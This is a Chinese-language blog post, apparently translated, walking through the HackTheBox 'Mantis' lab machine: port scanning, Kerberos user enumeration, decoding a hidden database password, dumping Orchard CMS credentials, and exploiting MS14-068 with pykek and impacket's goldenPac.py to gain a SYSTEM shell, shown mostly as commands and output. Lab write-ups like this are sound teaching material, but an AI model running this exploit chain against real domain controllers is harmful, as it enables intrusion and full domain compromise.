渗透实例一

2018-3-5 / 0评 / WEB安全

本文共计 142414 字,感谢您的耐心浏览与评论。

需要很大的耐心和大量的枚举,过程也很酷,因为我以前从来没有做过类似的事情。最后很高兴在HackTheBox中看到一个域控制器。


枚举



我们使用nmap进行扫描。
  1. root@kali:~/htb/mantis# nmap -A 10.10.10.52
  2. Starting Nmap 7.50 ( <a href="https://nmap.org/" target="_blank">https://nmap.org</a> ) 
  3. Nmap scan report for 10.10.10.52
  4. Host is up (0.11s latency).
  5. Not shown: 981 closed ports
  6. PORT      STATE SERVICE      VERSION
  7. 53/tcp    open  domain       Microsoft DNS 6.1.7601
  8. | dns-nsid: 
  9. |_  bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
  10. 88/tcp    open  tcpwrapped
  11. 135/tcp   open  msrpc        Microsoft Windows RPC
  12. 139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
  13. 389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
  14. 445/tcp   open  microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
  15. 464/tcp   open  kpasswd5?
  16. 593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
  17. 636/tcp   open  tcpwrapped
  18. 1433/tcp  open  ms-sql-s     Microsoft SQL Server 2014 12.00.2000.00; RTM
  19. | ms-sql-ntlm-info: 
  20. |   Target_Name: HTB
  21. |   NetBIOS_Domain_Name: HTB
  22. |   NetBIOS_Computer_Name: MANTIS
  23. |   DNS_Domain_Name: htb.local
  24. |   DNS_Computer_Name: mantis.htb.local
  25. |_  Product_Version: 6.1.7601
  26. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
  27. | Not valid before: 2018-02-09T14:23:56
  28. |_Not valid after:  2048-02-09T14:23:56
  29. |_ssl-date: 2018-02-09T14:30:53 00:00; 0s from scanner time.
  30. 3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
  31. 3269/tcp  open  tcpwrapped
  32. 8080/tcp  open  http         Microsoft IIS httpd 7.5
  33. |_http-server-header: Microsoft-IIS/7.5
  34. |_http-title: Tossed Salad - Blog
  35. 49152/tcp open  msrpc        Microsoft Windows RPC
  36. 49153/tcp open  msrpc        Microsoft Windows RPC
  37. 49154/tcp open  msrpc        Microsoft Windows RPC
  38. 49155/tcp open  msrpc        Microsoft Windows RPC
  39. 49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
  40. 49158/tcp open  msrpc        Microsoft Windows RPC
  41. No exact OS matches for host (If you know what OS is running on it, see <a href="https://nmap.org/submit/" target="_blank">https://nmap.org/submit/</a> ).
  42. TCP/IP fingerprint:
复制代码

好的,我们这里可以看到有相当多内容,LDAP服务开放端口准确的说是一个域控制器,运行着IIS服务,开放了8080端口



这里只有一个登陆点,但是并没有用户名,gobuster还未得到结果,我们可以尝试列举kerberos的用户名,或许能得到一些信息

  1. root@kali:~/htb/mantis# nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=/usr/share/seclists/Usernames/Names/names.txt 10.10.10.52
  2. Starting Nmap 7.50 ( <a href="https://nmap.org/" target="_blank">https://nmap.org</a> )
  3. Nmap scan report for 10.10.10.52
  4. Host is up (0.068s latency).

  5. PORT   STATE SERVICE
  6. 88/tcp open  kerberos-sec
  7. | krb5-enum-users: 
  8. | Discovered Kerberos principals
  9. |_    James@htb.local
复制代码

现在我们有一个用户名。然而当尝试任意密码与用户 james或james@htb.local登录时。我们得到以下信息:



并没有得到希望的结果,我们用nmap来进行一个完整的端口扫描看看是否存在其他突破点

  1. root@kali:~/htb/mantis# nmap -p- 10.10.10.52 -T4
  2. Starting Nmap 7.50 ( https://nmap.org ) 
  3. Initiating Ping Scan at 10:05
  4. Scanning 10.10.10.52 [4 ports]
  5. Completed Ping Scan at 10:05, 0.42s elapsed (1 total hosts)
  6. Initiating Parallel DNS resolution of 1 host. at 10:05
  7. Completed Parallel DNS resolution of 1 host. at 10:05, 6.18s elapsed
  8. Initiating SYN Stealth Scan at 10:05
  9. Scanning 10.10.10.52 [65535 ports]

  10. PORT      STATE SERVICE
  11. 53/tcp    open  domain
  12. 88/tcp    open  kerberos-sec
  13. 135/tcp   open  msrpc
  14. 139/tcp   open  netbios-ssn
  15. 389/tcp   open  ldap
  16. 445/tcp   open  microsoft-ds
  17. 464/tcp   open  kpasswd5
  18. 593/tcp   open  http-rpc-epmap
  19. 636/tcp   open  ldapssl
  20. 1337/tcp  open  waste
  21. 1433/tcp  open  ms-sql-s
  22. 3268/tcp  open  globalcatLDAP
  23. 3269/tcp  open  globalcatLDAPssl
  24. 5722/tcp  open  msdfsr
  25. 8080/tcp  open  http-proxy
  26. 9389/tcp  open  adws
  27. 47001/tcp open  winrm
  28. 49152/tcp open  unknown
  29. 49153/tcp open  unknown
  30. 49154/tcp open  unknown
  31. 49155/tcp open  unknown
  32. 49157/tcp open  unknown
  33. 49158/tcp open  unknown
  34. 49164/tcp open  unknown
  35. 49166/tcp open  unknown
  36. 49168/tcp open  unknown
  37. 50255/tcp open  unknown
复制代码

扫描完毕,我们看到端口 1337是开着的。是一个默认的IIS页面。




来看看gobuster新发现的端口
  1. root@kali:~/htb/mantis# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.52:1337

  2. Gobuster v1.2                OJ Reeves (@TheColonial)
  3. =====================================================
  4. [ ] Mode         : dir
  5. [ ] Url/Domain   : http://10.10.10.52:1337/
  6. [ ] Threads      : 10
  7. [ ] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  8. [ ] Status codes : 200,204,301,302,307
  9. =====================================================
  10. /secure_notes (Status: 301)
复制代码

这种结果似乎得一直持续下去


web.config文件抛出一个404。dev标题看起来有一些像base64。用户名admin,以及一个数据库名称orcharddb.




让我们试着base64解码文件名。

  1. root@kali:~/htb/mantis# base64 -d <<< NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx
  2. 6d2424716c5f53405f504073735730726421
复制代码

这种不匹配任何散列长度,但它确实看起来像十六进制。

  1. root@kali:~/htb/mantis# echo 6d2424716c5f53405f504073735730726421 | xxd -r -p
  2. m$ql_S@_P@ssW0rd!
复制代码

让我们开始吧。最后一些工作的凭据。如果我们尝试连接到使用SQSH与SA用户及密码会被拒绝访问MSSQL。但是,使用admin用户的密码或许能进去。

  1. root@kali:~/htb/mantis# sqsh -S 10.10.10.52 -U admin
  2. sqsh-2.1.7 Copyright (C) 1995-2001 Scott C. Gray
  3. Portions Copyright (C) 2004-2010 Michael Peppler
  4. This is free software with ABSOLUTELY NO WARRANTY
  5. For more information type '\warranty'
  6. Password: 
  7. 1>
复制代码

让我们列举里面的表名 orcharddb.
注:我已经清理了下面的格式,SQSH有可怕的输出格式。如果需要,可以输出到CSV文件中并查看其他文件" go - m csv > /root/htb/mantis/table.csv '

  1. 1> SELECT TABLE_NAME FROM orcharddb.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';
  2. 2> go

  3.         TABLE_NAME 

  4.         -------------------------------------------------------------------------------

  5.         blog_Orchard_Blogs_RecentBlogPostsPartRecord                  
  6.         blog_Orchard_Blogs_BlogArchivesPartRecord  
  7.         blog_Orchard_Workflows_TransitionRecord
  8.         blog_Orchard_Workflows_WorkflowRecord  
  9.         blog_Orchard_Workflows_WorkflowDefinitionRecord 
  10.         blog_Orchard_Workflows_AwaitingActivityRecord 
  11.         blog_Orchard_Workflows_ActivityRecord 
  12.         blog_Orchard_Tags_TagsPartRecord 
  13.         blog_Orchard_Framework_DataMigrationRecord 
  14.         blog_Orchard_Tags_TagRecord       
  15.         blog_Orchard_Tags_ContentTagRecord 
  16.         blog_Settings_ContentFieldDefinitionRecord 
  17.         blog_Orchard_Framework_DistributedLockRecord 
  18.         blog_Settings_ContentPartDefinitionRecord  
  19.         blog_Settings_ContentPartFieldDefinitionRecord   
  20.         blog_Settings_ContentTypeDefinitionRecord      
  21.         blog_Settings_ContentTypePartDefinitionRecord 
  22.         blog_Settings_ShellDescriptorRecord     
  23.         blog_Settings_ShellFeatureRecord    
  24.         blog_Settings_ShellFeatureStateRecord  
  25.         blog_Settings_ShellParameterRecord  
  26.         blog_Settings_ShellStateRecord      
  27.         blog_Orchard_Framework_ContentItemRecord   
  28.         blog_Orchard_Framework_ContentItemVersionRecord  
  29.         blog_Orchard_Framework_ContentTypeRecord  
  30.         blog_Orchard_Framework_CultureRecord   
  31.         blog_Common_BodyPartRecord   
  32.         blog_Common_CommonPartRecord    
  33.         blog_Common_CommonPartVersionRecord   
  34.         blog_Common_IdentityPartRecord  
  35.         blog_Containers_ContainerPartRecord   
  36.         blog_Containers_ContainerWidgetPartRecord   
  37.         blog_Containers_ContainablePartRecord 
  38.         blog_Title_TitlePartRecord  
  39.         blog_Navigation_MenuPartRecord  
  40.         blog_Navigation_AdminMenuPartRecord   
  41.         blog_Scheduling_ScheduledTaskRecord    
  42.         blog_Orchard_ContentPicker_ContentMenuItemPartRecord 
  43.         blog_Orchard_Alias_AliasRecord   
  44.         blog_Orchard_Alias_ActionRecord   
  45.         blog_Orchard_Autoroute_AutoroutePartRecord 
  46.         blog_Orchard_Users_UserPartRecord  
  47.         blog_Orchard_Roles_PermissionRecord 
  48.         blog_Orchard_Roles_RoleRecord 
  49.         blog_Orchard_Roles_RolesPermissionsRecord
  50.         blog_Orchard_Roles_UserRolesPartRecord   
  51.         blog_Orchard_Packaging_PackagingSource   
  52.         blog_Orchard_Recipes_RecipeStepResultRecord  
  53.         blog_Orchard_OutputCache_CacheParameterRecord 
  54.         blog_Orchard_MediaProcessing_ImageProfilePartRecord
  55.         blog_Orchard_MediaProcessing_FilterRecord 
  56.         blog_Orchard_MediaProcessing_FileNameRecord  
  57.         blog_Orchard_Widgets_LayerPartRecord 
  58.         blog_Orchard_Widgets_WidgetPartRecord  
  59.         blog_Orchard_Comments_CommentPartRecord 
  60.         blog_Orchard_Comments_CommentsPartRecord   
  61.         blog_Orchard_Taxonomies_TaxonomyPartRecord  
  62.         blog_Orchard_Taxonomies_TermPartRecord 
  63.         blog_Orchard_Taxonomies_TermContentItem
  64.         blog_Orchard_Taxonomies_TermsPartRecord 
  65.         blog_Orchard_MediaLibrary_MediaPartRecord
  66.         blog_Orchard_Blogs_BlogPartArchiveRecord                                                                               
  67. (62 rows affected)
复制代码
www.hksafe.cn.com
blog_Orchard_Users_UserPartRecord表看起来像我们所需要的。

  1. 1> USE orcharddb;
  2. 2> go
  3. 1> SELECT * FROM blog_Orchard_Users_UserPartRecord;
  4. 2> go
  5. Id         
  6. UserName 
  7. Email     
  8. NormalizedUserName 
  9. Password    
  10. PasswordFormat 
  11. HashAlgorithm    
  12. PasswordSalt   
  13. RegistrationStatus  
  14. EmailStatus    
  15. EmailChallengeToken 
  16. CreatedUtc          LastLoginUtc        LastLogoutUtc      
  17. -------------------------------------------------------------------------------
  18. 2
  19. admin  
  20. admin   
  21. AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK lgKY6vrQuswfWHKZn2 A==  
  22. Hashed   
  23. PBKDF2   
  24. UBwWF1CQCsaGc/P7jIR/kg==  
  25. Approved     
  26. Approved  
  27. NULL  
  28. Sep  1 2017 01:44PM Sep  1 2017 02:03PM Sep  1 2017 02:06PM
  29. 15
  30. James   
  31. <a href="mailto:james@htb.local" target="_blank">james@htb.local</a>  
  32. james      
  33. J@m3s_P@ssW0rd!  
  34. Plaintext   
  35. Plaintext  
  36. NA    
  37. Approved  
  38. Approved  
  39. NULL   
  40. Sep  1 2017 01:45PM                NULL                NULL

  41. (2 rows affected)
复制代码
www.hksafe.cn.com
得到密码。让我们通过SMB测试这些凭证,看看它们是否是有效的Windows凭据。

  1. root@kali:~/htb/mantis# smbclient -L 10.10.10.52/ -U james
  2. WARNING: The "syslog" option is deprecated
  3. Enter WORKGROUP\james's password: 
  4. Domain=[HTB] OS=[] Server=[]

  5.         Sharename       Type      Comment
  6.         ---------       ----      -------
  7.         ADMIN$          Disk      Remote Admin
  8.         C$              Disk      Default share
  9.         IPC$            IPC       Remote IPC
  10.         NETLOGON        Disk      Logon server share 
  11.         SYSVOL          Disk      Logon server share
复制代码

实际上它们是有效的。我们可以成功地在机器上列出内容。我们可以看到两个组策略对象,但没什么大用处。

利用



我们的凭据不给我们通过winexe shell,所以我们必须找出另一种方式。既然我们知道这是一个域控制器,也许我们可以利用Kerberos来帮助我们得到想要的东西。

详细解释如何攻击的工作报告:http://adsecurity.org/?p=541

关于如何执行远程攻击:http://blog.liatsisfotis.com/kno ... s-exploitation.html

安装最新版本的impacket,指定依赖关系后。编辑并添加域控制器。

  1. 127.0.0.1        localhost
  2. 127.0.1.1        kali
  3. 10.10.10.52        mantis.htb.local        mantis
复制代码

现在我们配置 /etc/krb5.conf

  1. libdefaults]
  2.         default_realm = HTB.LOCAL

  3. # The following krb5.conf variables are only for MIT Kerberos.
  4.         kdc_timesync = 1
  5.         ccache_type = 4
  6.         forwardable = true
  7.         proxiable = true

  8. [realms]
  9.        HTB.LOCAL = {
  10.         kdc = mantis.htb.local:88
  11.         admin_server = mantis.htb.local
  12.         default_domain = HTB.LOCAL 
  13.         }
  14. [domain_realm]
  15.         .domain.internal = HTB.LOCAL
  16.         domain.internal = HTB.LOCAL
复制代码

让我们与DC同步。

  1. rdate -n 10.10.10.52
复制代码

所以现在准备开始我们的开发过程。首先生成我们的impacket工具。

  1. root@kali:~/htb/mantis/impacket-master/impacket-master/impacket/examples# kinit james
  2. Password for <a href="mailto:james@HTB.LOCAL" target="_blank">james@HTB.LOCAL</a>: 
  3. root@kali:~/htb/mantis/impacket-master/impacket-master/impacket/examples# klist
  4. Ticket cache: FILE:/tmp/krb5cc_0
  5. Default principal: <a href="mailto:james@HTB.LOCAL" target="_blank">james@HTB.LOCAL</a>

  6. Valid starting       Expires              Service principal
  7. 02/09/2018 15:29:07  02/10/2018 01:29:07  krbtgt/HTB.LOCAL@HTB.LOCAL
  8. renew until 02/10/2018 15:28:37
复制代码

接下来我们需要得到james的SID。

  1. root@kali:~/htb/mantis/impacket-master/impacket-master/impacket/examples# rpcclient -U james mantis
  2. Enter WORKGROUP\james's password: 
  3. rpcclient [        DISCUZ_CODE_260        ]gt; lookupnames james
  4. james S-1-5-21-4220043660-4019079961-2895681657-1103 (User: 1)
复制代码

现在我们可以运行ms14 - 068 python开发脚本。
  1. root@kali:~/htb/mantis/pykek-master# python ms14-068.py -u <a href="mailto:james@HTB.LOCAL" target="_blank">james@HTB.LOCAL</a> -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis
  2. Password: 
  3.   [ ] Building AS-REQ for mantis... Done!
  4.   [ ] Sending AS-REQ to mantis... Done!
  5.   [ ] Receiving AS-REP from mantis... Done!
  6.   [ ] Parsing AS-REP from mantis... Done!
  7.   [ ] Building TGS-REQ for mantis... Done!
  8.   [ ] Sending TGS-REQ to mantis... Done!
  9.   [ ] Receiving TGS-REP from mantis... Done!
  10.   [ ] Parsing TGS-REP from mantis... Done!
  11.   [ ] Creating ccache file 'TGT_james@HTB.LOCAL.ccache'... Done!
复制代码

默认情况下,任何用户的授权票证的票证(TGT)用于客户端是从默认的Kerberos凭据缓存读取,它位于/tmp/krb5cc_uid。所以现在我们有了缓存文件,我们需要把它复制到适当的位置。
  1. root@kali:~/htb/mantis/pykek-master# cp <a href="mailto:TGT_james@HTB.LOCAL.ccache" target="_blank">TGT_james@HTB.LOCAL.ccache</a> /tmp/krb5cc_0
复制代码

一切就绪,我们可以使用impacket的goldenpac.py工具获得我们的shell
  1. root@kali:~/htb/mantis/impacket-master/impacket-master/examples# ./goldenPac.py HTB.LOCAL/james@mantis
  2. Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

  3. Password: User SID: S-1-5-21-4220043660-4019079961-2895681657-1103 Forest SID: S-1-5-21-4220043660-4019079961-2895681657 Attacking domain controller mantis.htb.local mantis.htb.local found vulnerable! Requesting shares on mantis..... Found writable share ADMIN$ Uploading file cugfXzCt.exe Opening SVCManager on mantis..... Creating service QcYY on mantis..... Starting service QcYY.....
  4. [!] Press help for extra shell commands
  5. Microsoft Windows [Version 6.1.7601]
  6. Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

  7. C:\Windows\system32>whoami & hostname
  8. nt authority\system
  9. mantis
复制代码

已经成功获取了system shell


翻译自国外技术文章  BY T0reAd


声明:戏子与嬉皮士|版权所有,违者必究|如未注明,均为原创|本网站采用BY-T0reAd协议进行授权

转载:转载请注明原文链接 - 渗透实例一

0条回应:“渗透实例一”

发表评论